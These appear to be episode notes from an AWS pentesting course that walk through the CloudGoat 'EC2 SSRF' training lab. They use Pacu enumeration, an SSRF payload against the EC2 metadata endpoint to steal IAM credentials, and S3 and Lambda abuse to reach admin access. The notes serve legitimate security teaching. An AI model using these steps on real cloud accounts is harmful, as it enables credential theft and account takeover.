

- Filename: intro-to-aws-pentesting-4-6-1-ec2-ssrf.md
- Show Name: Intro to AWS Pentesting
- Topic Name: CloudGoat
- Episode Name: EC2 SSRF

EC2 SSRF

Objectives:

- Utilize aws pentesting tools, tactics, and procedures to solve the CloudGoat 'EC2 SSRF' challenge
- Perform information gathering through enumeration of policies and permissions
- Utilize improperly configured Lambda Function, EC2 Instance Meta-Data Service SSRF, and S3 bucket access to gain administrative access to AWS

-
- *What is the goal of this scenario?*
 - Misconfiguration chain
 - Lambda
 - EC2
 - S3
 - Invoke Lambda Function
 - *So we start with Lambda?*
 - After enumerating user permissions
 - Using Pacu
 - `run iam__enum__permissions`
 - `run ec2__enum`
 - `run s3__download_bucket`
 - `run lambda__enum`
 - BINGO! We have KEYS!
 - *Lather, rinse, repeat?*
 - Yes. Create profile. Enumerate permissions
 - `run iam__enum__permissions`
 - `run ec2__enum`
 - BINGO! We've found an EC2 instance
 - *Do we now start looking for unencrypted snapshots?*
 - Possible, but...
 - There was something interesting in the Instance data
 - Security Groups
 - **cg-ec2-ssh**
 - **cg-ec2-http**
 - Instance is running SSH and HTTP
 - Browse to the server
 - We have an 'overly verbose' error
 - *What do you mean by 'overly verbose'?*
 - The error states
 - URL must be a string, not undefined
 - Web app expecting a query
 - Add `/?url=http://localhost`

- Well that's fun
 - Meta-Data Service
 - `?url=http://169.254.169.254/latest/meta-data/iam/security-credentials`
 - BINGO! we have KEYS!
- *This seems like it's getting repetitive.*
 - Welcome to pentesting :)
 - Back to Pacu
 - `run iam__enum__permissions`
 - `run ec2__enum`
 - `run s3__download_bucket`
 - BINGO!
 - Grab that **admin-user.txt** file
 - We have KEYS!
- *Lather, rinse, repeat? Again?*
 - Normally, yes
 - But let's cut to the chase
 - `aws configure --profile cgadmin`
 - `aws lambda list-functions --profile cgadmin`
 - `aws lambda invoke --function-name cg-lambda-<cloudgoat_id> ./out.txt`
 - `cat out.txt`